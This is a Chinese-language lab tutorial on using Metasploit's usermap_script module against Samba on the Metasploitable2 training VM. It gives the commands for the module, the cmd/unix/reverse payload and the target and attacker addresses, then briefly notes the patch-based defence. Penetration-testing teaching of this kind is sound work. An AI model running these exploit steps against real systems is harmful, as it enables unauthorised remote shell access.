Metasploit之漏洞利用( Metasploitable2)

每個操作系統都會存在各種Bug,像Windows這樣有版權的操作系統,微軟公司會快速地開發針對這些Bug或漏洞的補丁,並為用戶提供更新。全世界有大量的漏洞研究人員會夜以繼日地發現、研究新的Bug,這些沒有公布補丁的Bug就是所謂的Oday漏洞。由於這種漏洞對網絡安全具有巨大威脅,因此0day漏洞也成為黑客的最愛。實際上能夠掌握0day漏洞的黑客少之又少。
微軟公司會針對發現的Bug定期發佈補丁,但是否下載更新則取決於用戶自身。安全意識薄弱的個人用戶或者中小企業常會忽略這些工作,特別是在小公司中,從補丁發佈到服務器打補丁需要數星期,雖然打補丁時會涉及機器的重啟或死機,對公司業績沒有幫助又增加了自身的工作量,但是未打補丁或補丁過期的操作系統對黑客而言是一個快樂的”天堂”。
下面就假設目標機是Metasploitable2,對Linux機器進行滲透攻擊。
Metasploitable2虛擬系統是一個特別製作的Ubuntu操作系統,主要用於安全工具測試和演示常見的漏洞攻擊。該虛擬系統兼容VMware、VirtualBox和其他虛擬平台, 默認只開啟一個網絡適配器並且開啟NAT和Host- Only。該工具可以在網站//sourceforge.net/projects/metasploitable/files/Metasploitable2/下載。
首先對Linux目標機進行掃描,收集可用的服務信息。使用Nmap掃描並查看系統開放端口和相關的應用程序,如圖所示。

收集到目標機相關信息後,為其選擇正確的Exploit和合適的Payload。從掃描結果中發現主機運行着Samba 3.x服務。Samba是在Linux和UNIX系統上實現SMB (Server Messages Block,信息服務塊)協議的一款免費軟件。SMB是一種在局域網上共享文件和打印機的通信協議,它在局域網內使用Linux和Windows系統的機器之間提供文件及打印機等資源的共享服務。
輸入msf> search samba命令搜索Samba的漏洞利用模塊,並選擇合適的漏洞利用模塊,如圖所示。

然後Samba服務將返回漏洞利用模塊的列表,按照各個漏洞被利用成功的相對難易度進行排序。
因為exploit/multi/samba/usermap_script被標記為”Excellent” ,即最傑出而且時間是最新的,為提高滲透成功率,這裡選擇此模塊進行接下來的滲透。
有關漏洞的詳細信息可以通過如下圖所示的命令查看。

輸入以下命令即可使用該漏洞模塊

use exploit/multi/samba/usermap_script 

然後可以看到Metasploit命令提示符msf>會變成msf exploit(usermap_script) > 。

使用如下圖所示的命令即可查看該漏洞利用模塊下可供選擇的攻擊載荷模塊,因為目標是Linux機器,因此一定要選擇Linux的攻擊載荷。

這裡使用如下圖所示的命令選擇基礎的cmd/unix/reverse反向攻擊載荷模塊。

設置被攻擊主機IP地址,命令如下所示。
msf exploit (usermap_script) > set RHOST 192.168.1.104
設置漏洞利用的端口號,命令如下所示。
msf exploit (usermap_script) > set RPORT 445
設置發動攻擊主機IP地址,命令如下所示。
msf exploit (usermap_script) > set LHOST 192.168.1.101
設置完可以使用show options命令再次確認參數是否已設置正確。

設置完所有參數變量後,輸入攻擊命令exploit或者run,如下所示,發動攻擊。
msf exploit (usermap_ script) > exploit
MSF發動攻擊成功後會獲取目標主機的Shell,為了驗證該Shell是目標主機的,可以查詢主機名、用戶名和IP地址,並與目標主機進行對比,如圖所示。

攻擊成功後,可以看到在攻擊機和目標機之間會建立一個Shell連接,滲透Windows系統的過程類似,唯一的差別是選擇的漏洞利用模塊和攻擊載荷模塊不一樣。建議讀者多嘗試各種Exploit和Payload的組合,以加深理解。
防禦方法: Samba服務漏洞發生在Samba版本3.0.20 ~ 3.0.25rc3中,當使用非默認用戶名映射腳本配置時,通過指定一個用戶名包含Shell元字符, 攻擊者可以執行任意命令。將Samba升級到最新版本即可防禦本漏洞。